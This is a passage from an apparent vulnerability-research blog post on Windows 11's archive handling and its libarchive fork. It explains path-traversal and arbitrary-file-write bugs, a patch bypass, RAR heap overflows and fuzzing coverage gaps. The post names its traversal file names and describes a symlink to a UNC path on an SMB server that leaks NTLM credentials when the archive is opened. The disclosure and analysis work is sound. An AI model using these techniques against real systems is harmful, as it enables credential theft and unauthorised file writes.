extracts it to a temporary folder with a randomly generated UUID under the <code class="language-plaintext highlighter-rouge">%temp%</code> directory. The file is accessed from this temporary location, and since it’s a temporary file, it will be automatically deleted later:</p> <p><img src="/assets/img/blog/20250212/3.png" alt="" /></p> <h3 id="compressed-archived-folder">Compressed Archived Folder</h3> <p>Next, after the KB5031455 update in October 2023, Windows 11 added support for 11 new archive file formats: <img src="/assets/img/blog/20250212/4.png" alt="" /></p> <p>This kind of file is labeled “Compressed Archive Folder” by File Explorer: <img src="/assets/img/blog/20250212/5.png" alt="" /></p> <p>Curious about how Windows 11 supports these 11 new archive file formats, we began analyzing File Explorer and the related DLL files. The native support for ZIP in File Explorer is handled by <code class="language-plaintext highlighter-rouge">zipfldr.dll</code>.</p> <p>After the KB5031455 update, a new class called <code class="language-plaintext highlighter-rouge">ArchiveFolder</code> was added, distinct from the old <code class="language-plaintext highlighter-rouge">CZipFolder</code> class used to support ZIP Files.</p> <p><img src="/assets/img/blog/20250212/6.png" alt="" /></p> <h3 id="first-vulnerability-cve-2024-26185">First Vulnerability: CVE-2024-26185</h3> <p>Before firing up IDA, we first conducted black-box testing on the new “Compressed Archive Folder” feature. When it comes to extracting files, <code class="language-plaintext highlighter-rouge">../</code> is a timeless trick.</p> <p>In the first test case, we constructed a file named <code class="language-plaintext highlighter-rouge">..\poc.txt</code>, compressed it into an RAR file, and then uploaded it to a Windows machine to open it by double-clicking. There was no Path Traversal; we only saw an empty folder:</p> <p><img src="/assets/img/blog/20250212/7.png" alt="" /></p> <p>We constructed a file named <code class="language-plaintext highlighter-rouge">123\..\poc.txt</code> in the second test case. Because the <code class="language-plaintext highlighter-rouge">123</code> was canceled out by <code class="language-plaintext highlighter-rouge">..</code>, we only saw the <code class="language-plaintext highlighter-rouge">poc.txt</code> solely in File Explore, and still no Path Traversal:</p> <p><img src="/assets/img/blog/20250212/8.png" alt="" /></p> <p>There is also no Path Traversal in the corresponding temp folder: <img src="/assets/img/blog/20250212/9.png" alt="" /></p> <p>Excluding “double-clicking,” users will see <code class="language-plaintext highlighter-rouge">Extract All</code> if they right-click on “Compressed (zipped) Folder” or “Compressed Archive Folder” in File Explorer. The <code class="language-plaintext highlighter-rouge">Extract All</code> will try to decompress the whole archive. Let’s test “Compressed Archive Folder” again with that:</p> <p>When using <code class="language-plaintext highlighter-rouge">Extract All</code>,<code class="language-plaintext highlighter-rouge">..\poc.txt</code> is considered an attempt to escape to the parent directory, causing File Explorer to display an error: <img src="/assets/img/blog/20250212/10.png" alt="" /></p> <p>The extraction of <code class="language-plaintext highlighter-rouge">123\..\poc.txt</code> is a success, but we still only got the <code class="language-plaintext highlighter-rouge">poc.txt</code>. <img src="/assets/img/blog/20250212/11.png" alt="" /></p> <p>Because <code class="language-plaintext highlighter-rouge">Extract All</code> decompresses the whole archive, we think we should also test the situation when the file name is an absolute path, for example, <code class="language-plaintext highlighter-rouge">C:\poc\poc.txt</code>: <img src="/assets/img/blog/20250212/12.png" alt="" /></p> <p>There is no error, but the folder <code class="language-plaintext highlighter-rouge">C:</code> was renamed to <code class="language-plaintext highlighter-rouge">C_</code>. Thus, we now know <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> will sanitize the input to avoid Path Traversal or Arbitrary File Write. <img src="/assets/img/blog/20250212/13.png" alt="" /></p> <p>But if one “double-clicks” the RAR file, which contains a file with absolute path name, instead of “Extract All,” it will show a <code class="language-plaintext highlighter-rouge">Local Disk (C:)</code> folder! The <code class="language-plaintext highlighter-rouge">C:</code> isn’t replaced with <code class="language-plaintext highlighter-rouge">C_</code>!</p> <p><img src="/assets/img/blog/20250212/14.png" alt="" /></p> <p>Besides that, everything seemed normal, even when we navigated to the innermost folder and opened the <code class="language-plaintext highlighter-rouge">poc.txt</code> file: <img src="/assets/img/blog/20250212/15.png" alt="" /></p> <p>Except for the fact that the extra <code class="language-plaintext highlighter-rouge">poc</code> folder is under our <code class="language-plaintext highlighter-rouge">C</code> volume! <img src="/assets/img/blog/20250212/16.png" alt="" /></p> <p>That means File Explorer considers here a place to put its temporary files; thus, the <code class="language-plaintext highlighter-rouge">poc.txt</code> file is also here, inside the <code class="language-plaintext highlighter-rouge">poc</code> folder: <img src="/assets/img/blog/20250212/17.png" alt="" /></p> <p>In other words, we have discovered an Arbitrary File Write vulnerability! Since this write operation aims to place temporary files, the files will be deleted after a while. Therefore, what we have actually found is an Arbitrary File Write/Delete vulnerability. But it’s a shame that the permissions used for both writing and deleting are limited to the current user’s privileges.</p> <p>That’s <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26185">CVE-2024-26185</a>, a funny yet useless vulnerability. To exploit it to create or delete a file in a specific location, you would need to create the exact same path structure within the archive and then trick the user into opening every folder and double-clicking the target file. Most people would probably find it suspicious halfway through the process.</p> <p>Well, that may be true, but according to the rules, Microsoft still has to pay me $1,000. Yay!</p> <p><img src="/assets/img/blog/20250212/18.png" alt="" /></p> <h3 id="cve-2024-26185-root-cause">CVE-2024-26185: Root Cause</h3> <p>The root cause of CVE-2024-26185 is the insufficient filtering of file names. After decompiling the <code class="language-plaintext highlighter-rouge">zipfldr.dll</code>, we found it will call <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> to sanitize the file name before decompression. The function replaces <code class="language-plaintext highlighter-rouge">"*:&lt;&gt;?|</code> with <code class="language-plaintext highlighter-rouge">_</code> and <code class="language-plaintext highlighter-rouge">/</code> with <code class="language-plaintext highlighter-rouge">\</code>.</p> <p>Additionally, when interacting with the “Compressed (zipped) Folder” or “Compressed Archive Folder,” users have three methods to extract files, each triggering a different function:</p> <ul> <li>Double-clicking a file inside the archive <ul> <li>Triggers <code class="language-plaintext highlighter-rouge">ExtractFromArchiveByIndex</code></li> </ul> </li> <li>Double-clicking a cmd, bat, or exe file inside the archive <ul> <li>Triggers <code class="language-plaintext highlighter-rouge">ExtractEntireArchive</code></li> </ul> </li> <li>Right-clicking the archive and selecting “Extract All” from the menu <ul> <li>Triggers <code class="language-plaintext highlighter-rouge">ArchiveExtractWizard::ExtractToDestination</code></li> </ul> </li> </ul> <p>All of them use <code class="language-plaintext highlighter-rouge">archive_read_next_header</code> to get the file names in the archive, <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> to sanitize the file name, and <code class="language-plaintext highlighter-rouge">ExtractArchiveEntry</code> to actually extract the file. However, they forgot to call <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> in <code class="language-plaintext highlighter-rouge">ExtractFromArchiveByIndex</code>, which is triggered when “Double-clicking a file inside the archive,” leading to the arbitrary file write and arbitrary file delete vulnerabilities. <img src="/assets/img/blog/20250212/19.png" alt="" /></p> <h3 id="cve-2024-38165-bypassing-the-patch-for-cve-2024-26185">CVE-2024-38165: Bypassing the Patch for CVE-2024-26185</h3> <p>After Microsoft patched CVE-2024-26185, we randomly picked some PoCs created a while ago and executed them to check the patch’s correctness. It turns out that some of our PoCs are still working!?</p> <p>In the patch, they add a <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> before <code class="language-plaintext highlighter-rouge">ExtractFromArchiveByIndex</code> to sanitize the file name. It looks perfect: <img src="/assets/img/blog/20250212/20.png" alt="" /></p> <p>However, it can be easily bypassed by <code class="language-plaintext highlighter-rouge">\poc\poc.txt</code>. How does that happen? Let’s follow the code step by step. First, the file name <code class="language-plaintext highlighter-rouge">\poc\poc.txt</code> is passed into <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code>. Since there are no invalid characters in the file name, the output is still <code class="language-plaintext highlighter-rouge">\poc\poc.txt</code>:</p> <p><img src="/assets/img/blog/20250212/21.png" alt="" /></p> <p>Next, because <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> is currently “extracting file to a temporary folder under the <code class="language-plaintext highlighter-rouge">%TEMP%</code> to let users interact with it,” the file name should be concatenated with the path of the temporary folder to construct the destination of extraction: <img src="/assets/img/blog/20250212/22.png" alt="" /></p> <p>But here comes the problem, in Windows, <code class="language-plaintext highlighter-rouge">C:\</code> and <code class="language-plaintext highlighter-rouge">\</code> are both considered as root. In other words, <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> is currently concatenating two absolute paths! According to <a href="https://github.com/microsoft/STL/blob/90820002693fe6eaaec2e55884472c654186207e/stl/inc/filesystem#L723">the STL implemented by Microsoft</a>, if two arguments of <code class="language-plaintext highlighter-rouge">std::filesystem::operator/</code> are both absolute paths, it will return the second argument directly. Thus, the function’s return value is <code class="language-plaintext highlighter-rouge">C:\poc\poc.txt</code>, causing a patch bypass. <img src="/assets/img/blog/20250212/23.png" alt="" /></p> <h3 id="symlink-ntlm-exfiltration">Symlink NTLM Exfiltration</h3> <p>Of course, it’s vulnerable without <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code>. But can we still exploit File Explorer even if <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> is used correctly? This function only filters <code class="language-plaintext highlighter-rouge">"*:&lt;&gt;?|</code>, meaning <code class="language-plaintext highlighter-rouge">.</code> can still be used to construct a remote path. Could NTLM exfiltration still be possible? We attempted to construct paths such as:</p> <ul> <li><code class="language-plaintext highlighter-rouge">\\172.23.176.34\Users\nini\Desktop\sharing\test.txt</code></li> <li><code class="language-plaintext highlighter-rouge">\Device\Mup\172.23.176.34\Users\nini\Desktop\sharing\test.txt</code></li> </ul> <p>While these are regular files, they only create a corresponding directory under the <code class="language-plaintext highlighter-rouge">C:</code> volume (before the CVE-2024-38165 fix). However, if we create a symlink pointing to <code class="language-plaintext highlighter-rouge">\\172.23.176.34\poc\poc.txt</code>, when the user either double-clicks the symlink or selects “Extract All,” File Explorer will attempt to communicate with the SMB server at that IP address, leading to an NTLM leak:</p> <p><img src="/assets/img/blog/20250212/24.png" alt="" /></p> <p>Moreover, Windows determines the file type within the archive based solely on the file extension, which can be highly misleading. For example, in this case, our symlink file was recognized as a Text Document:</p> <p><img src="/assets/img/blog/20250212/25.png" alt="" /></p> <p>However, <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> uses the <a href="https://learn.microsoft.com/zh-tw/windows/win32/api/winbase/nf-winbase-createsymboliclinka"><code class="language-plaintext highlighter-rouge">CreateSymbolicLinkA</code></a> API to create a symlink during decompression. Although this API requires elevated privileges, File Explorer won’t prompt for privilege escalation and will simply display an error message instead. <img src="/assets/img/blog/20250212/26.png" alt="" /></p> <p>Even though File Explorer adds the <code class="language-plaintext highlighter-rouge">SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE</code> flag when using <code class="language-plaintext highlighter-rouge">CreateSymbolicLinkA</code>, the documentation states that Developer Mode must be enabled for this flag to take effect. <img src="/assets/img/blog/20250212/27.png" alt="" /></p> <p>The “extracting symlink from archive” feature appears to be incomplete, limiting the vulnerability to attacks targeting administrators or developers. As a result, it does not meet MSRC’s threshold for immediate servicing. Therefore, they will not provide ongoing updates on the status of the fix and have closed this case.</p> <h2 id="libarchive">Libarchive</h2> <p>In the previous section, we mentioned that <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> is responsible for handling interactions with the “Compressed (zipped) Folder” and “Compressed Archive Folder.”</p> <p>In this section, we’ll talk about the <code class="language-plaintext highlighter-rouge">archiveint.dll</code>, which is actually a forked version of libarchive. Libarchive is a powerful, open-source library for handling archive file formats. It is used across multiple operating systems like Linux, BSD, and macOS, as well as in projects such as ClickHouse, Homebrew, and Osquery. Google’s OSS-Fuzz project has continuously fuzzed it 24/7 since 2016, making it a time-tested library.</p> <p>By black-box testing, we observed several interesting behaviors.</p> <h3 id="fun-fact-1-windows-supports-file-formats-more-than-they-claimed">Fun Fact 1: Windows Supports File Formats More Than They Claimed</h3> <p>Although Microsoft claimed to have added native support for the following 11 archive formats in the KB5031455 update, the actual number of supported file formats far exceeds 11. <img src="/assets/img/blog/20250212/28.png" alt="" /></p> <p>This is how Windows initialize libarchive in <code class="language-plaintext highlighter-rouge">zipfldr.dll</code>: <img src="/assets/img/blog/20250212/29.png" alt="" /></p> <p>In fact, the <code class="language-plaintext highlighter-rouge">archive_read_support_format_all</code> function in libarchive enables support for a total of 13 archive formats, including ar, cpio, lha, mtree, tar, xar, warc, 7zip, cab, rar, rar5, iso9660, and zip; the <code class="language-plaintext highlighter-rouge">archive_read_support_filter_all</code> function in libarchive enables support for a total of 13 filters, including bzip2, compress, gzip, lzip, lzma, xz, uu, rpm, lrzip, lzop, grzip, lz4, zstd.</p> <p>In addition, format and filer can be used simultaneously. For example, the tar format and gzip filter should be enabled to support the <code class="language-plaintext highlighter-rouge">.tar.gz</code> file format. So, the total number of Windows’ natively supported file formats is 13+13+13×13=195 ?</p> <p>Completely wrong! A maximum of 25 filters can be chained, e.g., <code class="language-plaintext highlighter-rouge">archive.rar.gzip.xz.uu.zstd.uu......</code>. That said, Windows 11 actually supports 13+13+13×13²⁵ types of file formats, which equals <code class="language-plaintext highlighter-rouge">91733330193268616658399616035</code> formats! For free!</p> <p><strong>As a result, the attack surface has significantly expanded after the update. Any vulnerability in a file format within libarchive can be triggered on Windows. Additionally, parsing multiple filters simultaneously could also introduce security weaknesses.</strong></p> <h3 id="fun-fact-2-file-format-confusion">Fun Fact 2: File Format Confusion</h3> <p>When calling libarchive to decompress files, there is no need to specify the archive’s file format; libarchive automatically determines the format based on the content. However, there is a chance that File Format Confusion can happen when ZIP support is enabled. For example, if we create a demo3.rar archive and place a poc.zip file inside, the result will look like this:</p> <p><img src="/assets/img/blog/20250212/30.png" alt="" /></p> <p>If we double-click demo3.rar directly on Windows, we will find that only the poc2.txt file is visible, while the other folders, files, and even poc.zip are missing. This is because libarchive mistakenly identifies demo3.rar as a ZIP file!</p> <p>To understand the bug, let’s see how libarchive determines the file format for an archive. In <code class="language-plaintext highlighter-rouge">choose_format</code>, the <code class="language-plaintext highlighter-rouge">bid</code> function of the enabled formats is called, and the format whose <code class="language-plaintext highlighter-rouge">bid</code> returns the highest value is the one libarchive will treat the file as. <img src="/assets/img/blog/20250212/31.png" alt="" /></p> <p>Take <code class="language-plaintext highlighter-rouge">ar</code>’s <code class="language-plaintext highlighter-rouge">bid</code> function, <code class="language-plaintext highlighter-rouge">archive_read_format_ar_bid</code>, for example, if the beginning 8 bytes of an archive is <code class="language-plaintext highlighter-rouge">"!&lt;arch&gt;\n"</code>, the function will return 64, which should be derived from 8𝑏𝑖𝑡𝑠 × 8𝑏𝑦𝑡𝑒𝑠 = 64 : <img src="/assets/img/blog/20250212/32.png" alt="" /></p> <p>Next, the RAR format’s highest score is only 30. Although it’s unclear how the number was determined, if each file format is checked starting from the beginning of the file, it should be difficult to create a polyglot that would break this mechanism, right? <img src="/assets/img/blog/20250212/33.png" alt="" /></p> <p>But, there is a special mode for ZIP in libarchive: seekable. In other words, the ZIP signature does not need to be at the beginning of the file; libarchive will search for it itself. The highest value for a seekable ZIP is 32: <img src="/assets/img/blog/20250212/34.png" alt="" /></p> <p>The consequence is that when a RAR archive contains a ZIP file and the RAR’s compression ratio is low enough to leave the ZIP signature untouched, libarchive will incorrectly treat the RAR file as a ZIP file.</p> <h3 id="fun-fact-3-sometimes-libarchive-tries-to-spawn-an-external-executable">Fun Fact 3: Sometimes, Libarchive Tries to Spawn an External Executable</h3> <p>By reviewing the source code of libarchive, we found that if some libraries are missed during compiling, libarchive will change its behavior from using the library to executing commands to decompressing the archive: <img src="/assets/img/blog/20250212/35.png" alt="" /></p> <p>Then we decompiled the <code class="language-plaintext highlighter-rouge">archiveint.dll</code>, which is the forked libarchive on Windows. We confirmed that the function for decompressing some file formats will try to execute the external binary, e.g., <code class="language-plaintext highlighter-rouge">lzop_bidder_init</code>: <img src="/assets/img/blog/20250212/36.png" alt="" /></p> <p>Plus, “libarchive decides which format to use for extraction based on the file content,” all we need to do is change the extension of an lzop compressed file to <code class="language-plaintext highlighter-rouge">.rar</code>, and double-click it to trigger the corresponding lzop extraction function <code class="language-plaintext highlighter-rouge">lzop_bidder_init</code>: <img src="/assets/img/blog/20250212/37.png" alt="" /></p> <p>At the end, we’ll see that <code class="language-plaintext highlighter-rouge">explorer.exe</code> is trying to execute <code class="language-plaintext highlighter-rouge">lzop</code> in <code class="language-plaintext highlighter-rouge">PATH</code> to decompress the archive: <img src="/assets/img/blog/20250212/38.png" alt="" /></p> <h3 id="rces-reported-by-morse-cve-2024-20696-and-cve-2024-20697">RCEs Reported by MORSE: CVE-2024-20696 and CVE-2024-20697</h3> <p>So far, it’s clear that libarchive introduces numerous attack surfaces. In fact, Windows also patched two vulnerabilities reported by Microsoft’s Offensive Research Security Engineering (MORSE) team in January 2024, specifically the RCE vulnerabilities <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20696">CVE-2024-20696</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20697">CVE-2024-20697</a>.</p> <h4 id="cve-2024-20696-oob-write-in-copy_from_lzss_window_to_unp">CVE-2024-20696: OOB Write in <code class="language-plaintext highlighter-rouge">copy_from_lzss_window_to_unp</code></h4> <p>While extracting RAR files, the fourth argument of <code class="language-plaintext highlighter-rouge">copy_from_lzss_window_to_unp</code>, <code class="language-plaintext highlighter-rouge">length</code>, is calculated based on the state after lzss decompression, representing the copy length. However, it was incorrectly defined as an int. This mistake allows an attacker to manipulate the lzss data, causing length to become a negative value, bypassing validation checks, and resulting in an out-of-bounds write vulnerability.</p> <p><img src="/assets/img/blog/20250212/39.png" alt="" /></p> <h4 id="cve-2024-20697-oob-write-in-execute_filter_e8">CVE-2024-20697: OOB Write in <code class="language-plaintext highlighter-rouge">execute_filter_e8</code></h4> <p>It’s also a vulnerability that happens when extracting RAR files. If an RAR file contains an e8 filter, libarchive will run into the <code class="language-plaintext highlighter-rouge">execute_filter_e8</code> function. (the filter here is defined by RAR, not the filter of libarchive we mentioned earlier) The problem is that although there is a check in <code class="language-plaintext highlighter-rouge">execute_filter_e8</code> to ensure the variable <code class="language-plaintext highlighter-rouge">length</code> is larger or equal to 4, the <code class="language-plaintext highlighter-rouge">length</code> will be used in a for loop for <code class="language-plaintext highlighter-rouge">length-5</code>. So, when the <code class="language-plaintext highlighter-rouge">length</code> is 4, the loop will run 0x100000000 times, causing an out-of-bounds write.</p> <p><img src="/assets/img/blog/20250212/40.png" alt="" /></p> <h4 id="fuzzing-why-oss-fuzz-never-found-these">Fuzzing: Why OSS-Fuzz Never Found These?</h4> <p><img src="/assets/img/blog/20250212/41.png" alt="" /></p> <p>To reproduce these two CVEs, we must construct RAR files, which is time-consuming. In CVE-2024-20696, we have to construct data of lzss that causes the <code class="language-plaintext highlighter-rouge">length</code> to become a negative number; in CVE-2024-20697, we have to put an e8 filter in an RAR archive. Instead of building RAR bytes by bytes, we chose to collect RAR archives, especially those with the e8 filter, and feed them to the AFL++ fuzzer. To our surprise, it only took 56 seconds to find the first crash for CVE-2024-20697: <img src="/assets/img/blog/20250212/42.png" alt="" /></p> <p>It’s great that the crash happened quickly, but here’s the big problem: OSS-Fuzz has been Fuzzing libarchive 24/7 since at least 2016, so how can a vulnerability found in 56 seconds not be discovered yet? <img src="/assets/img/blog/20250212/43.png" alt="" /></p> <p>From the OSS-Fuzz summary for libarchive, we can see that in June 2024, the code coverage of libarchive was only 15.03%: <img src="/assets/img/blog/20250212/44.png" alt="" /></p> <p>And seems it has lasted a long time: <img src="/assets/img/blog/20250212/45.png" alt="" /></p> <p>From the file view, it is obvious that some file formats are basically untested. For example, the coverage of <code class="language-plaintext highlighter-rouge">archive_read_support_format_rar.c</code> is only 4.07%: <img src="/assets/img/blog/20250212/46.png" alt="" /></p> <h4 id="the-answer-revealed">The Answer Revealed</h4> <p>While preparing our talks, we noticed a pull request in the libarchive repository. It turns out that though they enabled the <code class="language-plaintext highlighter-rouge">DONT_FAIL_ON_CRC_ERROR</code> flag for CMake while compiling libarchive for OSS-Fuzz, they didn’t define that option in CMake!? <img src="/assets/img/blog/20250212/47.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">DONT_FAIL_ON_CRC_ERROR</code> flag allowed libarchive to continue processing a file even when the CRC check failed. As we all know, fuzzers are generally poor at generating correct checksums. This means that the long-term low coverage of OSS-Fuzz was due to the fuzzer’s inability to produce valid CRC values to pass the checks.</p> <p>After the fix, a significant improvement in OSS-Fuzz’s coverage of libarchive can be observed, increasing from 15.03% to 63.10%: <img src="/assets/img/blog/20250212/48.png" alt="" /></p> <p>From the file view, the code coverage for individual file formats is also improved: <img src="/assets/img/blog/20250212/49.png" alt="" /></p> <h4 id="keep-fuzzing">Keep Fuzzing</h4> <p><img src="/assets/img/blog/20250212/50.png" alt="" /></p> <p>While conducting the code review, we kept AFL++ working for us. At the end of our research, the fuzzer found two out-of-bound read vulnerabilities: CVE-2024-48957 and CVE-2024-48958.</p> <p><img src="/assets/img/blog/20250212/51.png" alt="" /></p> <h3 id="cve-2024-26256-libarchive-remote-code-execution-vulnerability">CVE-2024-26256: Libarchive Remote Code Execution Vulnerability</h3> <p>After analyzing the vulnerabilities, CVE-2024-20696 and CVE-2024-20697, found by Microsoft, we found they are both in the <code class="language-plaintext highlighter-rouge">archive_read_support_format_rar.c</code> and both in the newly added functions within the previous three years. <img src="/assets/img/blog/20250212/52.png" alt="" /></p> <p>We decided to review RAR to investigate whether there are any other vulnerabilities. The first thing we wanted to understand was what filter_e8 refers to in CVE-2024-20697 and what the “filter” mentioned in the commit message “support RAR filters” means.</p> <h4 id="the-vm-in-rar">The VM in RAR</h4> <p>To understand <code class="language-plaintext highlighter-rouge">filter_e8</code>, we must know that there is a VM in RAR! There is actually a register-based VM in RAR. The VM can be used to run a custom program to improve the compression ratio of an RAR file.</p> <p>When creating an RAR file, a custom “filter” program can be included. The <code class="language-plaintext highlighter-rouge">filter_e8</code> is one such program, designed to improve the compression ratio for Intel binaries. The “e8” in its name refers to the near call opcode in the Intel instruction set.</p> <p><img src="/assets/img/blog/20250212/53.png" alt="" /></p> <p>But what is the correlation between call instruction and improved compression ratio?</p> <p>Take the following small program as an example: if there are two <code class="language-plaintext highlighter-rouge">call</code> instructions that will call <code class="language-plaintext highlighter-rouge">funcA</code>, located at addresses <code class="language-plaintext highlighter-rouge">0</code> and <code class="language-plaintext highlighter-rouge">0x10</code> respectively, we can see in the machine code that the near <code class="language-plaintext highlighter-rouge">call</code> instruction starts with <code class="language-plaintext highlighter-rouge">0xe8</code>, followed by 4 bytes, which corresponds to the <code class="language-plaintext highlighter-rouge">rel32</code> in the manual. The <code class="language-plaintext highlighter-rouge">rel32</code> value represents the relative offset between the address of the target function and the address of the instruction following the <code class="language-plaintext highlighter-rouge">call</code> instruction. For example, the <code class="language-plaintext highlighter-rouge">rel32</code> value of the first <code class="language-plaintext highlighter-rouge">call</code> instruction is <code class="language-plaintext highlighter-rouge">0x1b</code>, which is calculated by subtracting the address of the next instruction (0+5) from the address of the target function (0x20): <img src="/assets/img/blog/20250212/54.png" alt="" /></p> <p>Both instructions are used to call <code class="language-plaintext highlighter-rouge">funcA</code>, but due to their different machine code representations, the compression ratio is lower. However, since the <code class="language-plaintext highlighter-rouge">rel32</code> value can be easily calculated, it can be replaced with the absolute address of the target function, making the instructions identical and improving the compression ratio: <img src="/assets/img/blog/20250212/55.png" alt="" /></p> <p>While decompressing, the <code class="language-plaintext highlighter-rouge">e8 filter</code> will be used to recover the replaced <code class="language-plaintext highlighter-rouge">rel32</code>:</p> <p><img src="/assets/img/blog/20250212/56.png" alt="" /></p> <p>To simplify the implementation, libarchive doesn’t fully implement the entire VM. Instead, it simply calculates the fingerprint of the filter using <code class="language-plaintext highlighter-rouge">crc32</code>. The relevant code can be found in <a href="https://github.com/libarchive/libarchive/blob/42565b88b5cc7441239269902a9d1735fd9ca0e2/libarchive/archive_read_support_format_rar.c#L3826">libarchive</a>:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">execute_filter</span><span class="p">(</span><span class="k">struct</span> <span class="nc">archive_read</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="k">struct</span> <span class="nc">rar_filter</span> <span class="o">*</span><span class="n">filter</span><span class="p">,</span> <span class="k">struct</span> <span class="nc">rar_virtual_machine</span> <span class="o">*</span><span class="n">vm</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">pos</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x1D0E06077D</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_delta</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x35AD576887</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_e8</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">,</span> <span class="n">pos</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x393CD7E57E</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_e8</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">,</span> <span class="n">pos</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0x951C2C5DC8</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_rgb</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">filter</span><span class="o">-&gt;</span><span class="n">prog</span><span class="o">-&gt;</span><span class="n">fingerprint</span> <span class="o">==</span> <span class="mh">0xD8BC85E701</span><span class="p">)</span> <span class="k">return</span> <span class="n">execute_filter_audio</span><span class="p">(</span><span class="n">filter</span><span class="p">,</span> <span class="n">vm</span><span class="p">);</span> <span class="n">archive_set_error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">a</span><span class="o">-&gt;</span><span class="n">archive</span><span class="p">,</span> <span class="n">ARCHIVE_ERRNO_FILE_FORMAT</span><span class="p">,</span> <span class="s">"No support for RAR VM program filter"</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>After RAR v5, filters became an enum type in the file format, making it possible to use only pre-defined filters. This can be observed in the <a href="https://www.rarlab.com/rar_add.htm">UnRAR source</a>:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">enum</span> <span class="n">FilterType</span> <span class="p">{</span> <span class="c1">// These values must not be changed, because we use them directly</span> <span class="c1">// in RAR5 compression and decompression code.</span> <span class="n">FILTER_DELTA</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">FILTER_E8</span><span class="p">,</span> <span class="n">FILTER_E8E9</span><span class="p">,</span> <span class="n">FILTER_ARM</span><span class="p">,</span> <span class="n">FILTER_AUDIO</span><span class="p">,</span> <span class="n">FILTER_RGB</span><span class="p">,</span> <span class="n">FILTER_ITANIUM</span><span class="p">,</span> <span class="n">FILTER_TEXT</span><span class="p">,</span> <span class="c1">// These values can be changed.</span> <span class="n">FILTER_LONGRANGE</span><span class="p">,</span><span class="n">FILTER_EXHAUSTIVE</span><span class="p">,</span><span class="n">FILTER_NONE</span> <span class="p">};</span> </code></pre></div></div> <h4 id="code-review">Code Review</h4> <p>The concept of filters is interesting, and the vulnerabilities that Microsoft found are also related to the filter. So, we conducted a code review of <code class="language-plaintext highlighter-rouge">archive_read_support_format_rar.c</code>.</p> <p>After some time, we discovered a heap buffer overflow vulnerability in <code class="language-plaintext highlighter-rouge">copy_from_lzss_window</code>. The <code class="language-plaintext highlighter-rouge">length</code> parameter of <code class="language-plaintext highlighter-rouge">copy_from_lzss_window</code> is used directly in <code class="language-plaintext highlighter-rouge">memcpy</code> without any checks, while the buffer size is only 0x40004 bytes: <img src="/assets/img/blog/20250212/57.png" alt="" /></p> <p>From the places where <code class="language-plaintext highlighter-rouge">copy_from_lzss_window</code> is called, it can be observed that the function is used to copy data into the VM memory: <img src="/assets/img/blog/20250212/58.png" alt="" /></p> <p>The vulnerability itself is straightforward, but constructing a valid filter and data is a bit more complex. These elements are not immediately presented in the RAR file format, they are actually part of the data. Additionally, the data is encoded using Huffman coding, and it isn’t consumed byte by byte, but rather 7 bits at a time. Since this is not the focus of this article, we won’t delve into the details here, but we encourage readers to attempt reproducing the vulnerability. <img src="/assets/img/blog/20250212/59.png" alt="" /></p> <p>The vulnerability is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26256">CVE-2024-26256</a>. The reason it was not detected by fuzzing is straightforward: the data must be exactly the same size as the value of <code class="language-plaintext highlighter-rouge">filter-&gt;blocklength</code>. However, fuzzers often trim files when their coverage is similar.</p> <h3 id="half-day-a-1-day-that-looks-like-a-0-day">Half-Day: A 1-Day That Looks Like a 0-Day</h3> <p>When we mentioned earlier the two vulnerabilities the Microsoft Offensive Research Security Engineering (MORSE) team reported, we said that constructing a PoC is a little complex. Perhaps someone immediately thought, “Why not check the GitHub repository of libarchive for test cases or commit messages?” Well, we did look—there was nothing.</p> <p>Because, at that time, libarchive hadn’t even been patched yet, or 